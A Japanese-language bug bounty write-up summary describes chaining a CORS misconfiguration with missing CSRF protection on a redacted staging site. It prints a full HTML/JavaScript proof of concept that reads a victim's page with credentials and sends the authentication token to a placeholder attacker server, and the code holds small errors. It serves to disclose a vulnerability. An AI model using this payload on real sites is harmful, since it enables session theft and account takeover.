Hello there, ('ω')ノ
CORSがない場合、アカウントの完全な乗っ取りにつながるを。
脆弱性:
欠落しているCORS
CSRF
アカウントの乗っ取り
記事:
https://nirajmodi51.medium.com/missing-cors-leads-to-complete-account-takeover-1ed4b53bf9f2
今回のターゲットでテストしていて。
ドメインにアプリケーション全体のCSRFがあることを発見して。
脆弱性が存在していたので、このバグを他のバグと連鎖させると。
何か面白いものが見つかるかもしれないと思って。
Burp Suiteを起動し、さらにいくつかのバグを探し始めることに。
テストを開始するときに最も頻繁に行うことの1つは。
資格情報を入力して[ログイン]をクリックしたとき、Burpプロキシをオンにして。
ログイン機能が完了してランディングページが。
ブラウザに完全に読み込まれたときで。
しばらくプロキシをオフにして、Burpの履歴を確認して。
この方法論は、アプリケーションがどのような要求を送信し。
ログイン時に応答が受信されるかをよく理解できて(ログインするだけ)。
Burpの履歴タブを見て見つめて、返されるすべての応答を探していると。
注意を引いたのはHTML応答で。
「stage.redacted.com/」のようなメインドメインでは。
HTMLに認証トークンとすべてのセッション関連データが。
含まれていることがわかって。
CSRFがなかったので、このデータ(特に認証トークン)を取得すれば。
すべてのユーザの完全なアカウント乗っ取りを実行できることを確認して。
しかし、CSRFは通常、被害者に何らかの行動を起こさせるために悪用されるものの。
この認証トークンは、ユーザがログインした後にHTMLが読み込まれたときに。
被害者のブラウザに表示されただけで。
実際、被害者のページで変更できるものはなくて。
現在、ツールとしてCSRFを使用していますが、問題はユーザのブラウザから。
データを取得してサーバに送信することで。
CSRFを使用してできることは、ユーザに代わってリクエストを行うことだけでしたが。
それも被害者がログインしているPCでのみ機能して。
さらにMissingCORSについては応答ヘッダに。
「Access-Control-Allow-Credential:True」であることに気づいて。
そして現在、ツールとしてCSRFとMissingCORSが手元にあるので。
悪意のあるページを作成して被害者に送信するとどうなるか考えて。
この悪意のあるページには、2つのコールバックAJAXリクエストがあって。
最初のリクエストは、https://stage.redacted.com/にgetリクエストを発行し。
そのレスポンスには認証トークンを含むHTMLが含まれ。
2番目のリクエストは、そのHTML応答をサーバのURLに追加し。
サーバにリクエストを送信するので。
ログを使用して、HTMLデータ、つまり認証トークンを取得できて。
プログラミングに関しては素人ですが、スクリプトを作成するのは簡単なことで。
<!DOCTYPE html>
<html>
<body onload = “loadDoc(‘https://www.redacted.com', myFunction)”>
<div id=”demo”>
<h2>Your account is taken over by <b><i>Jordin</i></b></h2><script>
function loadDoc(url, cFunction) {
var xhttp;
xhttp=new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
cFunction(this);
}
};
xhttp.open(“GET”, url, true);
xhttp.withCredentials = true;
xhttp.send();
}
function myFunction(xhttp) {
// document.getElementById(“demo”).innerHTML =
// xhttp.responseText;
var xhttp1;
xhttp1=new XMLHttpRequest();
xhttp1.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
1
}
};
var content = xhttp.responseText;
var n = content.indexOf(“authentication_token”)
//Change the url here to attacker controlled server
url = “https://attacker-server-url.com/" + content.substring(n,);xhttp.open(“GET”, url, true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>
このスクリプトが必要な認証トークンを送ってくれて。
この脆弱性が発生するためには、CSRFとMissingCORSの2つが非常に重要で。
これがなければ、いくつかの異なる方法を見つける必要があって。
Best regards, (^^ゞ